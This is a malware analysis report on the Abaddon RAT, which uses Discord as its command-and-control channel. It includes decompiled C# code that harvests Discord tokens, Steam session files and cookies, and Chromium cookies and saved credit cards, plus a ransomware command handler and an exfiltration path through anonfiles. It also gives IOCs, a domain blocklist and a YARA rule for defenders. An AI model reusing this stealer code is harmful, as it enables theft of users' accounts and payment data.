# Abaddon RAT using Discord as a C2

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# Overview

At time of writing, Abaddon might be the first RAT using Discord as a C2 to carry out attacks and execute commands on infected machines.

While this might not be a big threat to companies (assuming that you already blacklisted any discord domains since it doesn't make any sense to be allowed on a corporate network), it does expose regular discord users to data theft and possibly victims of a ransomware attack. Fortunately, the sample got caught by threat intelligence analysts while still being under development and, as far as we can say, this exact non functional sample doesn't pose any threats, yet.

We believe that similar attacks might be something to be taken seriously since all communications are done through discord servers, making it really difficult, or nearly impossible, to filter malicious traffic.

### **Functionalities**

- Stealing cookies and cached credentials or credit cards;
- RAT capabilities through Discord;
- Encrypt / decrypt files asking for a ransom;
- Establishing remote code executing.

# Our recommendation

We recommend adding the following domains to the blacklisted domains:

discord.com	discord.gg	discord.media
discordapp.com	discordapp.net	watchanimeattheoffice.com
discord.co	dis.gd	bigbeans.solution
anonfiles.com		

# General file information

MD5: f45a0a9d9d63fc71c5189e3ae282c7f7

SHA1: 2bfc56dfeebbe6a7cc0dacb35fabfa3ea842f100

SHA256: 74f58ab637713ca0463c3842cd71176a887b132d13d32f9841c03f59c359c6d7

IMPHASH: F34D5F2D4577ED6D9CEEC516C1F5A744

The sample has been downloaded from here


# **Technical Analysis**

Before diving into the code, we wanted to better understand the sample's behaviour and network activity, so we used Any Run, Cape, Hybrid Analysis and Intezer Analyze to gather additional details.


The sample had always failed to execute on any protected environment, leading us to think that there are some anti-debug and anti-sandbox techniques being used.

Only later we discovered that 2 libraries were missing from the sample and some methods were incomplete, causing the immediate crash of the sample.

The only interesting thing we manage to find was thanks to Intezer:



Sample's strings including interesting network artifacts



Sample's strings including method names

## Static Analysis

#### Discord as a C2

The technique of using Discord as C2 is still emerging, but as more malware authors pick up on the perks of using Discord as a C2, it is sure to become more widespread.

All communications are TLS encrypted, and can't be distinguished from normal Discord traffic. Besides all the traffic being encrypted, using Discord as a C2 also enables quick setup of new / free infrastructure, i.e the threat actor can create a new server per campaign, and host any files needed for the malware using Discords CDN (Content Delivery Network), all without spending any money.


One downside to using Discord as C2 is the need to use a token, which, if extracted from the malware, can be used to take over any server where the Discord bot resides.

This can be somewhat mitigated by encrypting the token, and only decrypting it with a key that is obtained during runtime.

We believe that HERA (one of the missing libraries), was used to operate on encrypted data without the necessity of decrypting it, leaking the server's token to any analysts who are analysing the sample.

### Replicating the C2 server

A member of our group managed to replicate some similarities of this sample and here's what the attacker might see on his end:



An example of a communication between the attacker and the C2

And here's an example on what the traffic might look when executing those commands:

```
3952 83.888217
                                                      40.77.226.250
                                                                                                        10.0.1.100
                                                                                                        10.0.1.100
10.0.1.100
10.0.1.100
          3968 84.000026
                                                      40.77.226.250
          3970 84 145920
                                                      40.77.226.250
        3970 84.145920
3974 84.314332
3976 84.488260
4000 85.373945
4035 88.651201
4042 88.903790
4045 88.936611
4048 89.033141
                                                    40.77.226.250

40.77.226.250

40.77.226.250

162.159.130.234

162.159.130.234

162.159.130.234
                                                                                                       10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
                                                      162.159.128.233
           4049 89.144395
                                                      162.159.128.233
162.159.128.233
                                                                                                        10.0.1.100
       4059 89.255880
4059 89.367974
4060 89.479946
4061 89.482336
4062 89.482384
4064 89.591671
4068 89.751786
4086 89.862467
4088 89.974729
4089 89.994216
                                                                                                                                                         TCP 66 443 + 49936 [SVM, ACK] Seq=0 Ack=1 Win=65535 Len=0 MSS=1323 SACK PERM=1 WS=1024

TCP 60 443 + 49993 [ACK] Seq=10903 Ack=720242 Win=1651712 Len=0

TCP 10 43 + 49993 [ACK] Seq=1 Ack=518 Win=67584 Len=0

TLSV1.3 1377 Server Hello, Change Cipher Spec

TCP 1377 443 + 49993 [PSH, ACK] Seq=1324 Ack=518 Win=67584 Len=1323 [TCP segment of a reassembled PDU]

TLSV1.3 848 Application Data

TCP 60 443 + 499936 [ACK] Seq=3441 Ack=518 Win=67584 Len=0

TCP 60 443 + 49936 [ACK] Seq=3441 Ack=1870 Win=68608 Len=0

TCP 60 443 + 499936 [ACK] Seq=3441 Ack=1139 Win=68608 Len=0

TCP 15V1.2 13 9 Application Data
                                                                                                       10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
10.0.1.100
                                                      162,159,128,233
                                                      162 159 128 233
                                                      162.159.128.233
                                                                                                                                                         TCP 60 443 + 49936 [ACK]
TLSv1.2 139 Application Data
TLSv1.3 1377 Application Data
                                                      162.159.130.234
         4089 89.994216
                                                      162.159.128.233
                                                                                                        10.0.1.100
         4093 90.086012
                                                      162.159.128.233
                                                                                                       10.0.1.100
                                                                                                                                                           TLSv1.3
                                                                                                                                                                                 590 Application Data
81 Application Data
         4094 90.086014
                                                      162,159,128,233
                                                                                                       10.0.1.100
                                                                                                                                                          TLSv1.3
        4101 90.310073
4104 90.432633
4110 90.545210
                                                    162.159.128.233
162.159.128.233
162.159.128.233
162.159.130.234
                                                                                                                                                           TCP 60 443 + 49936 [ACK] Seq=5327 Ack=1611 Win=69632 Len=0
TCP 60 443 + 49936 [ACK] Seq=5327 Ack=1675 Win=69632 Len=0
TLSv1.2 116 Application Data
                                                                                                       10.0.1.100
                                                                                                        10.0.1.100
     Frame 4114: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) on interface \Device\NPF_{ADI1A37F-A91D-4FCF-A6DI-8EBC7C550753}, id 0 Ethernet II, Src: c6:a9:94:52:c5:ce (c6:a9:94:52:c5:ce), Dst: be:4e:0a:f2:d6:f0 (be:4e:0a:f2:d6:f0)
Internet Protocol Version 4, Src: 162.19:128.233, Dst: 10.8.01.100
Transmission Control Protocol, Src Port: 443, Dst Port: 49936, Seq: 6650, Ack: 1675, Len: 32
> [2 Reassembled TCP Segments (1355 bytes): #4111(1323), #4114(32)]
> Transport Layer Security
0000 be 4e 8a f2 d6 f8 c6 a9 94 52 c5 ce 88 80 45 60 0010 00 48 8c 80 40 80 39 65 76 3a a2 9f 80 e9 80 80 0020 01 64 01 bb c3 10 9a 6c dc cf 04 41 8d ce 59 18 0030 00 44 8c 66 00 80 4e f7 e1 5e f9 6a 39 c8 6c 62 0040 37 d6 40 a3 42 fc a4 35 8b 2d ff 54 43 49 77 f4 0050 00 94 73 d3 a9 3f
```

Network activity between C2 and the victim

#### Available commands

In order to execute a command on a given machine, the attacker needs to know its hardware ID (GUID).

Here's a list of all the available commands:

GetFile	GetDirectory	GetDirectoryRecursive	GetDeviceTree
Shell	ReportBack	Ransom	RansomDecrypt

#### Stolen information

Upon execution, the sample tries to extract information from the following applications:

- Steam
- Chromium (multiple variants)
- Discord

#### Discord

The sample will try to find the token in Discord's log files and tries to validate it through Discord's API (https[:]//discord.com/api/v8/users/@me).

```
private static List<DiscordEnvelope> GetAuths(string logFolder)
   List<string> list = new List<string>();
   foreach (string logPath in from x in Directory.GetFiles(logFolder)
   where x.EndsWith(".log") || x.EndsWith(".ldb")
   select x)
       list.AddRange(Discord.ParseLog(logPath));
   List<DiscordEnvelope> list2 = new List<DiscordEnvelope>();
   foreach (string text in list)
       DiscordEnvelope item = new DiscordEnvelope
           MFA = text.StartsWith("mfa"),
           Token = text
       try
           if (Discord.CheckToken(ref item))
               list2.Add(item);
       {
           list2.Add(item);
   return list2;
```

Enumerating .log and .ldb files

And extract any useful information it has, including the victim's MFA code.

Log parsing method

Finally, before sending the token back to the C2, it will try to validate it through Discord's API.

Validating the token

#### Steam

The following method will read any session Steam files to obtain the username, installed apps, cookies and password if it has been saved.

```
ublic static SteamEnvelope GetSessionFiles()
  RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Valve\\Steam");
  if (registryKey == null)
  List<string> list = new List<string>();
       foreach (string str in registryKey.OpenSubKey("Apps").GetSubKeyNames())
          using (RegistryKey registryKey2 = registryKey.OpenSubKey("Apps\\" + str))
              string text = (string)registryKey2.GetValue("Name");
              if (text != null)
                  list.Add(text);
      3
  SteamEnvelope steamEnvelope = new SteamEnvelope
      InstalledApps = list,
      Username = registryKey.GetValue("AutoLoginUser").ToString(),
      RememberPassword = ((int)registryKey.GetValue("RememberPassword") == 1)
  string text2 = registryKey.GetValue("SteamPath").ToString();
  if (Directory.Exists(text2))
      foreach (string path in Directory.GetFiles(text2, "ssfn*"))
          FileClient.AddFile("steam/" + steamEnvelope.Username + "/" + Path.GetFileName(path), path);
       foreach (string path2 in Directory.GetFiles(Path.Combine(text2, "config"), "*.vdf"))
          FileClient.AddFile("steam/" + steamEnvelope.Username + "/config/" + Path.GetFileName(path2), path2);
   return steamEnvelope;
```

Retrieving Steam session files

The sample will also try to use any Steam related cookies it might have obtained, to send a GET request to Steam, in an attempt to validate the cookies it has gotten.

If successful, it will send back the cookie, email associated with that account, username, and balance in Steam wallet.

```
blic static SteamEnvelope GetLoginFromCookies(List≺Cookie> cookies)
  List<Cookie> list = (from x in cookies
 where x.HostKey.Contains("steampowered") && (x.Name.Contains("steamMachineAuth") || x.Name.Contains("steamRememberLogin")) group x by x.Name into x
  select x.First<Cookie>()).ToList<Cookie>();
if (list == null || list.Count<Cookie>() == 0)
        return null:
  HttpRequestMessage httpRequestMessage = new HttpRequestMessage
        RequestUri = new Uri("https://store.steampowered.com/account/"),
        Method = HttpMethod Get
   string text = "";
   foreach (Cookie cookie in list)
         text = string.Concat(new string[]
               text,
               cookie.Name,
               cookie.Value,
 httpRequestMessage.Headers.TryAddWithoutValidation("cookie", text);
httpRequestMessage.Headers.Host = "store.steampowered.com";
HttpResponseMessage result = Core.HttpClient.SendAsync(httpRequestMessage).Result;
string text2 = (from x in result.Headers.GetValues("Set-Cookie")
where x.Contains("steamLoginSecure")
select x).First<string>();
is (tox) le nuisl
  if (text2 != null)
        string result2 = result.Content.ReadAsStringAsync().Result;
string email = Utils.GetFlementsInnerTextByAttribute(result2, "span", "class=\"account_data_field\\"")[1];
string username = Utils.GetFlementsInnerTextByAttribute(result2, "h2", "class=\"pageheader\\"")[0].Replace("'s account", "");
string balance = Utils.GetFlementsInnerTextByAttribute(result2, "a", "href=\"https://store.steampowered.com/account/history/\\"")[0];
         return new SteamEnvelope
              Cookie = text2,
               Email = email,
               Username = username,
Balance = balance
```

Verifying and sending back the verified credentials

#### Chromium

Like a lot of other "stealers", this malware will try to extract the following data from Chromium DB:

- Cookies
- Credit cards
- Logins

The way it does this, is simply by running SQL queries on the Chromium DB.

```
public List<Cookie> GetCookies()
{
    List<Cookie> list = new List<Cookie>();
    foreach (Cookie cookie in this.QueryDB("Cookies", "SELECT host_key, name, path, expires_utc, is_secure, encrypted_value FROM cookies", Chrome.QueryType.Cookie).Cast<Cookie>())
    {
        if (this.FilterCookie(cookie.HostKey))
        {
                  list.Add(cookie);
        }
        return list;
}
```

SQL queries to retrieve cookies

```
public List<CreditCard> GetCreditCards()
{
    List<CreditCard> list = new List<CreditCard>();
    IEnumerable<CreditCard> collection = this.QueryOB("Web Data", "SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards", Chrome.QueryType.CreditCard>();
    list.AddRange(collection);
    return list;
```

SQL query to retrieve saved credit cards

#### Affected Chromium variants:

Google Chrome	Microsoft Edge Beta
Google Chrome x86	Chromium
Opera	

### Keywords searched:

Amazon	Blizzard	Comixology	Crunchyroll
Discord	Google	НВО	Hulu
Mail	Mega	Microsoft	Netflix
Origin	Patreon	Paypal	Reddit
Sony	Steam	Twitter	Bitcoin
BTC	Bank	Moner	XMR
Uplay	Coin	Xchange	

#### **Exfiltration method**

The main way of exfiltration for the malware is through Discord, here it will send the result of all commands.

This exfiltration method is actually quite convenient, and what might attract more malware authors to use Discord as a C2 in the future.

All connections are TLS encrypted, and they blend in with all the other traffic, nothing in the traffic indicates it is a bot communicating with Discord.

However, when exfiltrating files, the malware opts to use AnonFile (an anonymous file hosting service), where it will upload the files, and send the URL back to the Discord C2.

### Missing libraries

The malware seems to have been compiled without the correct libraries, specifically it seems to be missing the Discord.NET and HERA library.

This results in the malware not being able to execute properly.

While we tried different available Discord.NET available projects on GitHub, none of them seemed to be working and match the methods used by the sample, letting us believe that the author might have added custom code.

#### **HFRA**

Homomorphic encryption refers to encryption schemes that allow the cloud to compute directly on the encrypted data, without requiring the data to be decrypted first. The results of such encrypted computations remain encrypted, and can be only decrypted with the secret key (by the data owner). Multiple homomorphic encryption schemes with different capabilities and trade-offs have been invented over the past decade; most of these are public-key encryption schemes, although the public-key functionality may not always be needed [...]

For more information, read this academic paper and Microsoft's github project.

# Ransomware capabilities

The malware uses standard 128 AES to encrypt files, with a random IV, which the malware appends to the start of the file.

If no masterkey is supplied, it will choose a random 16 byte key, and proceed with encryption.

```
case CommandCode.Ransom:
{
    CryptoEnvelope cryptoEnvelope = new Ransom(command.Arguments[0], command.Arguments[1], float.Parse(command.Arguments[2]), null).Encrypt(Core.Encrypter.Decrypt(Constants.N));
    Core.DiscordClient.Send(Core.HWID + " Master Key: " + Utils.StringToBase64(cryptoEnvelope.ToString()), null, null, null, null);
    return;
}
case CommandCode.RansomDecrypt:
    new Ransom(command.Arguments[0], null, 0f, Convert.FromBase64String(command.Arguments[1])).Decrypt();
    Core.DiscordClient.Send(Core.HWID + " Decrypted", null, null, null);
    return;
```

Calling methods from the C2

Encryption mechanism

For the decryption part, it will replace the extension it appends when encrypting (".abenc"). After that, it will read the first 16 bytes of the file (the IV needed), then decrypt the file using the masterkey supplied as an argument.

Decryption mechanism

#### **IOCs**

Extension ".abenc"	indsv.pdb
https[:]//api.anonfiles.com/upload	

### Yara Rules

```
YARA Rule Set
 Author: yarGen Rule Generator
 Date: 2020-10-27
 Identifier: malware
 Reference: https://github.com/Neo23x0/yarGen
*/
/* Rule Set -----*/
rule abaddon_rat {
 meta:
   description = "Abaddon Discord RAT"
   author = "MalPhobic Group"
   date = "2020-10-27"
   hash1 = "74f58ab637713ca0463c3842cd71176a887b132d13d32f9841c03f59c359c6d7"
 strings:
   mz = \{ 4d 5a \}
   $x1 = "C:\\Users\\krauz\\source\\repos\\Abaddon\\obj\\Release\\netcoreapp3.1\\indsv.pdb"
fullword ascii
   $y1 = "https://discord.com/api/v8/users/@me" fullword wide
   $y2 = "indsv.dll" fullword wide
   $y3 = "store.steampowered.com" fullword wide
   $y5 = "<GetLoginFromCookies>b__1_3" fullword ascii
   $y6 = "<GetLoginFromCookies>b 1 1" fullword ascii
   $y7 = "GetLogins" fullword ascii
   $y8 = "<GetLoginFromCookies>b 1 2" fullword ascii
   $y9 = "GetLoginFromCookies" fullword ascii
   $z1 = "SELECT host_key, name, path, expires_utc, is_secure, encrypted_value FROM cookies"
fullword wide
   $z2 = "https://store.steampowered.com/account/" fullword wide
   $z3 = "href=\"https://store.steampowered.com/account/history/\"" fullword wide
   $z4 = "get EncryptedDump" fullword ascii
   $z5 = "https://api.anonfiles.com/upload" fullword wide
   $z6 = "System.Diagnostics.Process" fullword ascii
   $z7 = "Abaddon.Targets" fullword ascii
 condition:
   $mz at 0 and
   ( 1 of ($x*) and 4 of ($y*) and 3 of ($z*)) and
   filesize < 200KB
}
```